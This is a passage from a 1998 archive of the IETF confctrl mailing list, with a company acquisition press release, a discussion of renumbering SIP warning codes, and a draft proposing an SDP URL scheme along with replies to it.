Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA23939
	for <confctrl@zephyr.isi.edu>; Fri, 31 Jul 1998 14:48:50 -0700 (PDT)
Received: from forest.icast.com ([209.1.118.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA19580
	for <confctrl@isi.edu>; Fri, 31 Jul 1998 14:48:42 -0700 (PDT)
Received: (from mail@localhost)
	by forest.icast.com (8.8.5/8.8.5) id OAA01555
	for <confctrl@isi.edu>; Fri, 31 Jul 1998 14:48:24 -0700
Message-Id: <199807312148.OAA01555@forest.icast.com>
Received: from brian.internal.icast.com(192.168.20.77) by forest.icast.com via smap (V2.0)
	id xma001551; Fri, 31 Jul 98 14:48:20 -0700
X-Sender: brian@apache.internal.icast.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Fri, 31 Jul 1998 14:47:22 -0700
To: confctrl@ISI.EDU
From: Brian Smithson <brian@icast.com>
Subject: First Virtual Corporation / ICAST press release
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

FOR IMMEDIATE RELEASE 


    CONTACT:

    First Virtual Corporation
    Elyse Phillips, 408/567-7230
    elyse@fvc.com 


     FIRST VIRTUAL CORPORATION AGREES TO ACQUIRE INTERNET
  BROADCAST COMPANY; ANNOUNCES COMPANY NAME CHANGE TO FVC.COM 

SANTA CLARA, Calif., July 30, 1998-- First Virtual Corporation (Nasdaq:
FVCX), a leading provider of Next Generation Internet (NGI) video
applications, today announced the signing of an agreement to acquire ICAST
Corporation, a developer of Internet Protocol (IP) voice and video
broadcast solutions. With this acquisition, First Virtual will be able to
deliver video broadcast products to the 100 million Internet-equipped PCs
worldwide. ICAST co-founder and president Vinay Kumar will head up
streaming and broadcast programs for First Virtual Corporation. Mr. Kumar
is a pioneer of Internet technology, having lead the team that  architected
the delivery of multimedia over the Internet, known as the MBone. 

Concurrently, First Virtual Corporation announced that it will change its
name to FVC.COM to more accurately reflect the company's role in developing
NGI and Internet applications for interactive, broadcast-quality video. 

According to FVC.COM Chief Executive Officer Ralph Ungermann, the
technologies developed by ICAST are complementary to FVC.COM's existing
product portfolio. "Our focus has been on providing end-to-end solutions
for the new broadband Next Generation Internet. ICAST's line of broadcast
solutions for today's Internet brings video streaming to web-enabled PCs
worldwide. As a result, FVC.COM will be the only one-stop provider of
managed video solutions for high-end through low bit-rate video
applications," said Ungermann. 

FVC.COM invites Internet users to visit WWW.FVC.COM to view a video clip of
senior management discussing the acquisition. Visitors can view the clip
using the ICAST Viewer product which is also available on this page. 

"One of the fastest growing areas of the Internet is in video and audio
broadcast," said Ungermann. "We are committed to providing our customers
with a full range of the best technologies and products, whether through
in-house development or strategic acquisitions." 

"The combination of ICAST and FVC.COM products is expected to produce the
most complete voice, video and data solution across the Internet spectrum,"
said Vinay Kumar, president and Chief Technical Officer, ICAST Corporation.
"This combined product offering will enhance the way businesses,
government, and education providers meet and exchange ideas and information." 

ICAST's IP multicasting solutions enable large-scale delivery of voice,
video and text from one sender to many recipients, or from many senders to
many recipients. ICAST's multicasting model leverages advances in router
technologies from companies such as Cisco (NASDAQ:CSCO) and Bay Networks
(NYSE:BAY), and is compatible with other steaming media technologies from
Microsoft (NASDAQ:MSFT) and Real Networks (NASDAQ:RNWK). 
FVC.COM's current product suite includes high-quality MPEG-1 and MPEG-2
video products. The combination of these high-end solutions with ICAST's
low bit-rate solutions will provide the most comprehensive end-to-end video
solutions available on the market today. 


The purchase, valued at approximately $8 million, of the privately held
Los Gatos, California-based company will be made with a combination of
FVC.COM common stock and assumption of debt; other terms were not
disclosed. The acquisition of ICAST is expected to close in August. The
Company also announced that it expects that the transaction will be
accretive to its earnings in 1999. 

About The Next Generation Internet (NGI)
The Next Generation Internet (NGI) is the new broadband Internet, being
deployed by service providers and enterprises for the integrated delivery
of voice, video and data applications. A key characteristic of the NGI
(http://www.ngi.gov) is the ability to handle multimedia applications such
as real-time interactive video, as well as stored and live video-on-demand.
FVC.COM combines its expertise in Internet tools, Quality of Service (QoS),
and video technology to deliver networked video over the NGI for key video
applications such as distance learning, telemedicine, video marketing and
video manufacturing. 

About FVC.COM 
FVC.COM is the leader in video applications over the Next Generation
Internet (NGI). FVC.COM's products enable end-to-end video in a wide range
of room and desktop environments for video applications such as distance
learning, distance meetings, and distance medicine. Founded in 1993 by
technology pioneer Ralph Ungermann, FVC.COM designs, manufactures and
supports a full video networking product family that includes NGI access
devices, adapters, gateways and video storage servers, all of which support
the company's award-winning MOS software. 

FVC.COM's distribution and system integration partners include leading
telecommunication and networking companies throughout the world, such as
Ascend Communications (NASDAQ:ASND), Bay Networks (NYSE:BAY), Bell Atlantic
Network Integration (NYSE:BEL), British Telecom (NYSE:BTY), EDS (NYSE:EDS),
IBM (NYSE:IBM), Lucent Technologies (NYSE:LU), NEC (NASDAQ:NIPNY), and
Nortel (NYSE:NT). 

Cautionary Statement
Except for the historical information contained herein, this news release
contains forward-looking statements, including, without limitation,
statements containing the words, "believes," "anticipates," "expects" and
words of similar import. Such forward-looking statements involve known and
unknown risks, uncertainties and other factors which may cause the actual
results, performance or achievements of FVC.COM, or industry results, to be
materially different from any future results, performance or achievements
expressed or implied by such forward-looking statements. Such factors
include, among others: the risk that the acquisition will not be
consummated on schedule, or at all, the risk that the integration of
FVC.COM's and ICAST's respective business operations is not achieved in a
timely and expected manner, or that key personnel of ICAST are not
successfully retained, FVC.COM'slimited operating history and variability
of operating results, market acceptance of video technology, dependence on
ATM backbone technology and the Next Generation Internet, potential
inability to maintain business relationships with distributors and
suppliers, rapid technological changes, competition in the video networking
industry, the importance of attracting and retaining personnel, management
of FVC.COM's growth, consolidation and cost pressures in the video
networking industry, dependence on key employees and other risk factors
referenced in the Company's Registration Statement on Form S-1, File No.
333- 38755, declared effective on April 29, 1998. 

--
- Brian Smithson                                 brian@icast.com
  ICAST Corporation                             +1 408 874 0707
  101-C Albright Way                     FAX +1 408 874 0710
  Los Gatos, CA 95030                   http://www.icast.com

From confctrl-owner  Mon Aug  3 08:27:25 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA05135
	for confctrl-outgoing; Mon, 3 Aug 1998 08:27:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA05130
	for <confctrl@zephyr.isi.edu>; Mon, 3 Aug 1998 08:27:24 -0700 (PDT)
Received: from www45.inria.fr (hoschka@www45.inria.fr [138.96.10.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA21579
	for <confctrl@ISI.EDU>; Mon, 3 Aug 1998 08:27:20 -0700 (PDT)
Received: from localhost by www45.inria.fr (8.8.8/8.8.5) with ESMTP id RAA03640 for <confctrl@ISI.EDU>; Mon, 3 Aug 1998 17:27:01 +0200 (MET DST)
Message-Id: <199808031527.RAA03640@www45.inria.fr>
To: confctrl@ISI.EDU
From: Philipp Hoschka <ph@w3.org>
Subject: FYI: SDP used for Web content over TV signal
Date: Mon, 03 Aug 1998 17:26:57 +0200
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


A new user of sdp announcements. This is a proposal set forward
by many companies on how to annotate TV programs with HTML content, 
resulting in web-based interactive television.

http://www.atvef.com/atvef_spec/TVE-public.htm


----------------------------------------------------------------------
   Philipp Hoschka                  |
   http://www.w3.org/people/hoschka |
				    |   World Wide Web Consortium
				    |   MIT-LCS
   ph@w3.org                        |   545, Technology Square
   Tel:(+1) 617.258.0604            |   Cambridge, MA 02139
   Fax:(+1) 617.258.5999            |   USA
----------------------------------------------------------------------

From confctrl-owner  Mon Aug  3 12:03:17 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA11475
	for confctrl-outgoing; Mon, 3 Aug 1998 12:03:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA11468
	for <confctrl@zephyr.isi.edu>; Mon, 3 Aug 1998 12:03:15 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA17093;
	Mon, 3 Aug 1998 12:03:10 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA07327;
	Mon, 3 Aug 1998 14:52:20 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1])
	by erlang.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA19321;
	Mon, 3 Aug 1998 14:52:13 -0400 (EDT)
Message-ID: <35C606DD.664CDE64@cs.columbia.edu>
Date: Mon, 03 Aug 1998 14:52:13 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5b1 [en] (X11; I; SunOS 5.5.1 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: mjh@ISI.EDU, confctrl@ISI.EDU,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Subject: Re: SIP specification WG LAST CALL -- Warning
References: <4225664A.006FCB3B.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 

> 1. I would like to remove the separate 3xx and 4xx versions of the same
> warnings. The reasons are:

Agreed.


> 2. Unless the new SIP warning codes are organized along more logical lines,
> it will be just make for more chaos as new Warnings are added.  Right now
> the defined warnings fall nicely into four groups:
> 
>      a. warnings related to SDP: x02, x03, x04, x05, x06, x09, x10, x09
> (x09 is repeated twice, this is an error in the spec)
>      b. warnings related to basic network service:  x07, x08
> (multicast/unicast not available)

Actually, these are also for the audio/video session itself, just like
the other ones. Whether multicast or a transport protocol isn't
implemented or available makes no big difference.

>      c. warnings related to quantitative QoS parameters: x01 (insufficient
> bandwidth)
>      d. miscellaneous warnings: x99.
> 

> My concrete suggestion is just to renumber the warning codes:
> 
> 300-307  warnings directly related to keywords in the Session Description
> 
>    300 Incompatible transport protocol: One or more transport protocols
>         described in the request are not available.
> 
>    301 Incompatible network protocol: One or more network protocols
>         described in the request are not available.
> 
>    302 Incompatible network address formats: One or more network address
>         formats described in the request are not available.
> 
>    303  Incompatible media format: One or more media formats described in
>         the request are not available.
> 
>    304 Incompatible bandwidth description: One or more bandwidth
>         descriptions contained in the request were not understood.
> 
>    305 Media type not available: One or more media types contained in
>         the request are not available.
> 
>    306 Attribute not understood: One or more of the media attributes in
>         the request are not supported.
> 
>    307 Session description parameter not understood: A parameter other
>         than those listed above was not understood.
> 
> 330-339  Warnings related to basic network services requested in the
> Session Description
> 
>    330  Multicast not available: The site where the user is located does
>         not support multicast.
> 
>    331 Unicast not available: The site where the user is located does
>         not support unicast communication (usually due to the presence
>         of a firewall).
> 
> 370-379  Warnings related to quantitative QoS parameters requested in the
> Session Description
> 
>    370  Insufficient bandwidth: The bandwidth specified in the session
>         description or defined by the media exceeds that known to be
>         available.
> 
> 390-399 Miscelleanous Warnings
> 
>    x99 Miscellaneous warning: The warning text may include arbitrary
>         information to be presented to a human user, or logged. A system
>         receiving this warning MUST NOT take any automated action.
> 
> I'm just leaving some space for each group to grow in the future, such as
> leaving space for some other session description language other than SDP,
> other network services (like IPv6), other QoS numbers. I'm also leaving
> space for new groups should they appear.
> 
> Note that the changes I suggest shorten the spec, which is always a good
> thing....
> 
> Of course, such changes as these do not require a new last call.

These are fine with me; unless somebody else objects, I'll put them in.

> 
> Scott

-- 
Henning Schulzrinne   schulzrinne@cs.columbia.edu
Dept. of Comp. Sci.   ph  +1 212 939-7042
Columbia University   fax +1 212 666-0140
New York, NY 10027    http://www.cs.columbia.edu/~hgs

From confctrl-owner  Thu Aug  6 21:37:16 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA25711
	for confctrl-outgoing; Thu, 6 Aug 1998 21:37:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA25706
	for <confctrl@zephyr.isi.edu>; Thu, 6 Aug 1998 21:37:15 -0700 (PDT)
Received: from mira.kuis.kyoto-u.ac.jp (mira.kuis.kyoto-u.ac.jp [130.54.22.123])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA14653
	for <confctrl@ISI.EDU>; Thu, 6 Aug 1998 21:37:05 -0700 (PDT)
Received: from localhost (localhost [127.0.0.1])
	by mira.kuis.kyoto-u.ac.jp (8.8.8/8.8.7) with ESMTP id NAA21851
	for <confctrl@ISI.EDU>; Fri, 7 Aug 1998 13:36:26 +0900 (JST)
	(envelope-from magician@kuis.kyoto-u.ac.jp)
To: confctrl@ISI.EDU
Subject: SDP URL Scheme
X-Mailer: Mew version 1.93b6 on Emacs 19.34 / Mule 2.3 (SUETSUMUHANA)
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
	boundary="--Next_Part(Fri_Aug__7_13:26:13_1998_601)--"
Content-Transfer-Encoding: 7bit
Message-Id: <19980807133625I.magician@kuis.kyoto-u.ac.jp>
Date: Fri, 07 Aug 1998 13:36:25 +0900
From: FUJIKAWA Kenji <magician@kuis.kyoto-u.ac.jp>
X-Dispatcher: imput version 980128
Lines: 331
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

----Next_Part(Fri_Aug__7_13:26:13_1998_601)--
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

We are planning to define a SDP URL scheme.

Multimedia sessions are described such as:

  sdp://224.192.2.3:ttl=16/sdp+test#m=audio+10000+RTP-AVP+0

  sdp://london-station.bbcc.com:ttl=16/sdp+test#m=audio+10000+RTP-AVP+0

Any comments are welcome.

Thank you.
---------------------------------------------------------------
FUJIKAWA, Kenji @ Grad. Sch. of Informatics, Kyoto Univ., Japan
              WWW http://camino.kuis.kyoto-u.ac.jp/index-e.html
                        TEL +81 75-753-5387 FAX +81 75-751-0482
                             e-mail fujikawa@kuis.kyoto-u.ac.jp
                             e-mail magician@kuis.kyoto-u.ac.jp

----Next_Part(Fri_Aug__7_13:26:13_1998_601)--
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Description: draft-fujikawa-sdp-url-01.txt







INTERNET DRAFT                                            FUJIKAWA Kenji
draft-fujikawa-sdp-url-01.txt                             KURIYA Shinobu
                                                        Kyoto University
                                                               July 1998

                             SDP URL Scheme



Status of this Memo

   This document is an Internet-Draft.  Internet-Drafts are working
   documents of the Internet Engineering Task Force (IETF), its areas,
   and its working groups.  Note that other groups may also distribute
   working documents as Internet-Drafts.

   Internet-Drafts are draft documents valid for a maximum of six months
   and may be updated, replaced, or obsoleted by other documents at any
   time.  It is inappropriate to use Internet- Drafts as reference
   material or to cite them other than as ``work in progress.''

   To view the entire list of current Internet-Drafts, please check the
   ``1id-abstracts.txt'' listing contained in the Internet-Drafts Shadow
   Directories on ftp.is.co.za (Africa), ftp.nordu.net (Northern
   Europe), ftp.nis.garr.it (Southern Europe), munnari.oz.au (Pacific
   Rim), ftp.ietf.org (US East Coast), or ftp.isi.edu (US West Coast).



Abstract

   This document describes a format for an Session Description Protocol
   Uniform Resource Locator (SDP URL) which will allow Internet clients
   to have direct access to multimedia sessions.



1. Introduction

   SDP[1] is a format for describing information of multimedia sessions,
   and generally is conveyed by SAP (Session Announcement Protocol)[4].
   However, SDP is just a format for session description and is intended
   to use different transport protocols including SAP, E-mail and World
   Wide Web (WWW).

   An SDP file has to be saved in a WWW server for distributing SDP
   messages when utilizing WWW.  At first, Internet clients have access
   to a WWW server to get an HTML file that has the URL of the SDP file.



FUJIKAWA Kenji         Expires on January 6, 1999               [Page 1]






INTERNET DRAFT               SDP URL scheme                    July 1998


   Clients have to have another access to the server to get the SDP file
   to start a multimedia session.

   SDP URL scheme eliminates the second unnecessary access to a WWW
   server.  Since SDP URL is written directly on an HTML file, a session
   can be started only by access to the HTML file with SDP URL.  It is
   not necessary to get another access to the server.

   When a user clicks SDP URL in an HTML file, a WWW browser
   automatically launch applications for participation in the session.
   This is equal to selecting a session on an application such as sdr.



2. Description of the SDP Scheme

   The SDP URL scheme is basically the same format as that of the
   original SDP except for a few points.

   A whitespace is replaced by '+', a return by '&', and the characters
   reserved in RFC 1738[2] and a original '+' by ascii code described by
   %xx.  The term "RTP/AVP" which specifies a transport protocol is
   replaced by the "RTP-AVP".  The <type> of  'v', 'o' and 's' which
   cannot be omitted in the original SDP can be omitted.  If 'v' is
   omitted, then the SDP version of an SDP URL is regarded as 1.

   URL is generally written in the format:

       <scheme>://<address>:<port>/<url-path>

   SDP's connection information and session name correspond to <address>
   and <url-path> respectively.

   An SDP URL takes the form:

       sdp://[ <address> [:ttl=<ttl>] [:noa=<noa>] ] / [<sessionname>]
             [ #<type>=<value> *[&<type>=<value>] ]

   The <address> is the connection address that will be either a unicast
   IP address or a class-D IP multicast group address.  The <ttl> (time-
   to-live) defines the scope with which multicast packets sent in a
   session should be sent when the <address> is a multicast address.
   The <ttl> is ignored when the <address> is a unicast address.  The
   value of <ttl> takes 1 when the <ttl> is omitted.  The <noa> (number-
   of-addresses) is the number of multicast addresses contiguously
   allocated above the base address <address>.

   These can also be described as a connection information 'c' and the



FUJIKAWA Kenji         Expires on January 6, 1999               [Page 2]






INTERNET DRAFT               SDP URL scheme                    July 1998


   <sessionname> as a session name 's'.  The <type>, the <value> and
   their order follow [1].



3. Examples

   The followings are some example SDP URLs using the format defined
   above. A multimedia session is on a multicast address 224.192.2.3,
   the session name "sdp test", TTL 16 and port 10000 .  The media type
   is audio, profile AVP and payload type PCM.

       sdp://224.192.2.3:ttl=16/sdp+test
       #m=audio+10000+RTP-AVP+0

   This could also be written in

       sdp:///#s=sdp+test&c=IN+IP4+224.192.2.3%2f16&m=audio+10000+RTP-AVP+0

   The former description is preferable for look, suiting to the URL
   convention.

   Multicast addresses are registered in DNS in [3].  In this case, the
   URL is also written as:

       sdp://london-station.bbcc.com:ttl=16/sdp+test
       #m=audio+10000+RTP-AVP+0

   where ``london-station.bbcc.com'' is the domain name of the address
   224.192.2.3.

   Some services may use additional data.  The time that a session is
   active is specified.  Both audio and video are used.  All media
   applications are requested to be receive-only and the maximum
   framerate of video to be 10.

       sdp://london-station.bbcc.com:ttl=16/sdp+test
       #t=2873397496+2873404696&a=recvonly
       &m=audio+10000+RTP-AVP+0
       &m=video+9999+RTP-AVP+31&a=framerate:10



5. Considerations to Scope Rule

   It is asserted that announcements of multicast sessions made via WWW
   cause the mismatch between the scope where WWW is valid and the scope
   restricted by the multicast addresses. [1] However, Ohta shows that



FUJIKAWA Kenji         Expires on January 6, 1999               [Page 3]






INTERNET DRAFT               SDP URL scheme                    July 1998


   this is not a problem but the idea of scope has an essential problem.
   [3]


6. QoS Specifications

   The notation of RSVP parameters should be defined in [1] or in this
   draft for the purpose of specifying Quality of Services (QoS).



7. Proposed Syntax

   The proposed BNF syntax is encoded as specified in RFC 1738 [2].

       sdpurl          = "sdp://" [ connection ] "/" [ sessionname ]
                         ["#" parameter *["&" parameter ] ]

       connection      = address [ ":ttl=" ttl ][ ":noa=" noa ]
       address         = addressname | addressnumber
       addressname     = *[ domainlabel "." ] toplabel
       domainlabel     = alphadigit |
                         alphadigit *[ alphadigit | "-" ] alphadigit
       toplabel        = alpha | alpha *[ alphadigit | "-" ] alphadigit
       alphadigit      = alpha | digit
       addressnumber   = digits "." digits "." digits "." digits
       ttl             = digits
       noa             = digits
       digits          = 1*digit

       sessionname     = 1*uchar

       parameter       = type "=" value
       type            = alpha
       value           = 1*uchar [ ":" attributevalue]
       attributevalue  = 1*uchar

       alpha, digit and uchar are defined in RFC 1738.



References

[1]    M. Handley and V. Jacobson, "SDP: Session Description Protocol",
       RFC 2327, Nov 1997.

[2]    T. Berners-Lee, L. Masinter and M. Mccahill, "Uniform Resource
       Locators (URL)", RFC 1738, Dec 1994.



FUJIKAWA Kenji         Expires on January 6, 1999               [Page 4]






INTERNET DRAFT               SDP URL scheme                    July 1998


[3]    M. Ohta, J. Crowcroft, "Static Multicast", Internet Draft draft-
       ohta-static-multicast-00.txt (work in progress), March 1998.

[4]    M. Handley, "SAP: Session Announcement Protocol", Internet Draft
       draft-ietf-mmusic-sap-00.txt (work in progress), Nov 1996.




Security Considerations

   (to be written)


Appendix


A. Implementation

   Implementation of an SDP URL interpreter for Emacs/WWW is available
   at
   "http://www.lab1.kuis.kyoto-u.ac.jp/members/magician/sdp-url-0.1.tar.gz".

Authors' Address

   FUJIKAWA Kenji
   Graduate School of Informatics,
   Kyoto University
   Yoshidahonmachi, Sakyo-Ku, Kyoto City, 606-01, Japan
   Phone : +81 75-753-5387
   Email : magician@kuis.kyoto-u.ac.jp

   KURIYA Shinobu
   Department of Information Science,
   Faculty of Engineering, Kyoto University
   Yoshidahonmachi, Sakyo-Ku, Kyoto City, 606-01, Japan
   Phone : +81 75-753-5387
   Email : kuriya@kuis.kyoto-u.ac.jp













FUJIKAWA Kenji         Expires on January 6, 1999               [Page 5]

----Next_Part(Fri_Aug__7_13:26:13_1998_601)----

From confctrl-owner  Fri Aug  7 03:05:36 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA00123
	for confctrl-outgoing; Fri, 7 Aug 1998 03:05:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA00117
	for <confctrl@zephyr.isi.edu>; Fri, 7 Aug 1998 03:05:35 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA05623
	for <confctrl@isi.edu>; Fri, 7 Aug 1998 03:05:32 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id NAA28069; Fri, 7 Aug 1998 13:04:47 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 42256659.003D263B ; Fri, 7 Aug 1998 13:07:54 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: pint@lists.research.bell-labs.com
cc: confctrl@ISI.EDU
Message-ID: <42256659.003C99F0.00@il4.vocaltec.co.il>
Date: Fri, 7 Aug 1998 13:03:36 +0200
Subject: draft-ietf-pint-profile-00.txt available
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 08/07/98 01:03 PM

The first PINT protocol draft is out at:

http://www.vocaltec.com/~petrack/PINT/draft-ietf-pint-profile-00.txt

I have cross-posted to confctrl because of the large overlap with SIP and
SDP.

Scott

Scott Petrack
VocalTec Communications Ltd.
petrack@vocaltec.com



From confctrl-owner  Fri Aug  7 05:34:01 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA02293
	for confctrl-outgoing; Fri, 7 Aug 1998 05:34:01 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA02288
	for <confctrl@zephyr.isi.edu>; Fri, 7 Aug 1998 05:33:59 -0700 (PDT)
Received: from pm03sm.pmm.mci.net (pm03sm.pmm.mci.net [208.159.126.152])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA13337
	for <confctrl@ISI.EDU>; Fri, 7 Aug 1998 05:33:58 -0700 (PDT)
Received: from cs.columbia.edu (usr17-dialup40.mix1.Sacramento.mci.net)
 by PM03SM.PMM.MCI.NET (PMDF V5.1-10 #27035)
 with ESMTP id <0EXB00JUZK7O8R@PM03SM.PMM.MCI.NET> for confctrl@ISI.EDU; Fri,
 7 Aug 1998 12:33:27 +0000 (GMT)
Date: Fri, 07 Aug 1998 08:37:50 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Subject: Re: SDP URL Scheme
To: FUJIKAWA Kenji <magician@kuis.kyoto-u.ac.jp>
Cc: confctrl@ISI.EDU
Message-id: <35CAF51E.435A1C18@cs.columbia.edu>
Organization: Columbia University
MIME-version: 1.0
X-Mailer: Mozilla 4.04 [en] (Win95; I)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
References: <19980807133625I.magician@kuis.kyoto-u.ac.jp>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Seems like we have this discussion every 6 months or so. Why can't you
just use the existing, standardized "data" URL and be done with it? That
URL type was designed exactly for these types of mappings.

FUJIKAWA Kenji wrote:
> 
> We are planning to define a SDP URL scheme.
> 
> Multimedia sessions are described such as:
> 
>   sdp://224.192.2.3:ttl=16/sdp+test#m=audio+10000+RTP-AVP+0
> 
>   sdp://london-station.bbcc.com:ttl=16/sdp+test#m=audio+10000+RTP-AVP+0
> 
> Any comments are welcome.
> 
> Thank you.
> ---------------------------------------------------------------

From confctrl-owner  Fri Aug  7 06:38:23 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA03344
	for confctrl-outgoing; Fri, 7 Aug 1998 06:38:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA03339
	for <confctrl@zephyr.isi.edu>; Fri, 7 Aug 1998 06:38:22 -0700 (PDT)
Received: from mira.kuis.kyoto-u.ac.jp (mira.kuis.kyoto-u.ac.jp [130.54.22.123])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA16543
	for <confctrl@ISI.EDU>; Fri, 7 Aug 1998 06:38:20 -0700 (PDT)
Received: from localhost (localhost [127.0.0.1])
	by mira.kuis.kyoto-u.ac.jp (8.8.8/8.8.7) with ESMTP id WAA22475;
	Fri, 7 Aug 1998 22:37:27 +0900 (JST)
	(envelope-from magician@kuis.kyoto-u.ac.jp)
To: hgs@cs.columbia.edu
Cc: magician@kuis.kyoto-u.ac.jp, confctrl@ISI.EDU
Subject: Re: SDP URL Scheme
In-Reply-To: Your message of "Fri, 07 Aug 1998 08:37:50 -0400"
	<35CAF51E.435A1C18@cs.columbia.edu>
References: <35CAF51E.435A1C18@cs.columbia.edu>
X-Mailer: Mew version 1.93b6 on Emacs 19.34 / Mule 2.3 (SUETSUMUHANA)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <19980807223726A.magician@kuis.kyoto-u.ac.jp>
Date: Fri, 07 Aug 1998 22:37:26 +0900
From: FUJIKAWA Kenji <magician@kuis.kyoto-u.ac.jp>
X-Dispatcher: imput version 980128
Lines: 39
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

From: Henning Schulzrinne <hgs@cs.columbia.edu>
Subject: Re: SDP URL Scheme
Date: Fri, 07 Aug 1998 08:37:50 -0400

> Seems like we have this discussion every 6 months or so. 

In this ML?
I did not noticed that.

> Why can't you
> just use the existing, standardized "data" URL and be done with it? That
> URL type was designed exactly for these types of mappings.
> 

I am not sure what do you mean by "data" URL.
Does "data" URL mean just SDP,
or is such a URL type defined?

> FUJIKAWA Kenji wrote:
> > 
> > We are planning to define a SDP URL scheme.
> > 
> > Multimedia sessions are described such as:
> > 
> >   sdp://224.192.2.3:ttl=16/sdp+test#m=audio+10000+RTP-AVP+0
> > 
> >   sdp://london-station.bbcc.com:ttl=16/sdp+test#m=audio+10000+RTP-AVP+0
> > 
> > Any comments are welcome.
> > 
> > Thank you.
> > ---------------------------------------------------------------
> 
---------------------------------------------------------------
FUJIKAWA, Kenji @ Grad. Sch. of Informatics, Kyoto Univ., Japan
              WWW http://camino.kuis.kyoto-u.ac.jp/index-e.html
                        TEL +81 75-753-5387 FAX +81 75-751-0482
                             e-mail fujikawa@kuis.kyoto-u.ac.jp
                             e-mail magician@kuis.kyoto-u.ac.jp

From confctrl-owner  Fri Aug  7 07:15:24 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA04154
	for confctrl-outgoing; Fri, 7 Aug 1998 07:15:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA04148
	for <confctrl@zephyr.isi.edu>; Fri, 7 Aug 1998 07:15:23 -0700 (PDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA18987
	for <confctrl@ISI.EDU>; Fri, 7 Aug 1998 07:15:19 -0700 (PDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199808071405.XAA10434@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id XAA10434; Fri, 7 Aug 1998 23:05:37 +0900
